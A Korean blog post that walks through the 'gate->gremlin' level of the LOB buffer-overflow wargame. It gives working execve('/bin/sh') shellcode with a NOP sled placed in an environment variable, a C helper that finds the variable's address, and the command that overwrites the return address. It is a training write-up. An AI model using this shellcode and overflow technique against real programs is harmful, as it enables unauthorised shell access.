systemhacking/practice

lob gate->gremlin

qkqhxla1 2014. 12. 30. 13:20

1. 소스코드 보고 strcpy 취약점 확인. buffer크기는 256확인.



2. gdb -q gremlin

disas main

으로 할당된 스택크기 확인(0x100)이므로 정확히 256할당됨. gcc버전 2.96이하에서는 dummy가 붙지

않는다함.)


buffer 

sfp 

ret 

 256

 4

 4




3. 앞에 적어놓은 쉘코드 제작방법으로 쉘코드 제작.



4. export shell=`python -c 'print "\x90"*30+"\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`

등으로 쉘코드를 환경변수 shell에 등록 (앞에붙는 nop30개는 오차 수정하기 위해서 붙인듯. 실험해본 결과 20개도 제대로 나오고, 200개도 제대로 나오는걸 확인.)



5. 

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char *addr = getenv(argv[1]);
        printf("address = %p\n",addr);
        return 0;
}

등으로 환경변수의 주소 알아내는 코드 제작. 컴파일후 ./getadd shell등으로 환경변수 주소 확인.

ret를 여기로 덮어씌운다고 생각하면됨. (address = 0xbfffff0d 출력됨.)



6. ./gremlin `python -c 'print "a"*260+"\x0d\xff\xff\xbf"'`

같이 260 후 ret를 0xbfffff0d로 덮어씌움.

'systemhacking > practice' 카테고리의 다른 글

lob orge->troll  (0) 2015.01.15
lob darkelf->orge  (0) 2015.01.09
lob wolfman->darkelf  (0) 2015.01.05
lob goblin->orc  (0) 2015.01.04
ftz level9,11  (0) 2014.12.28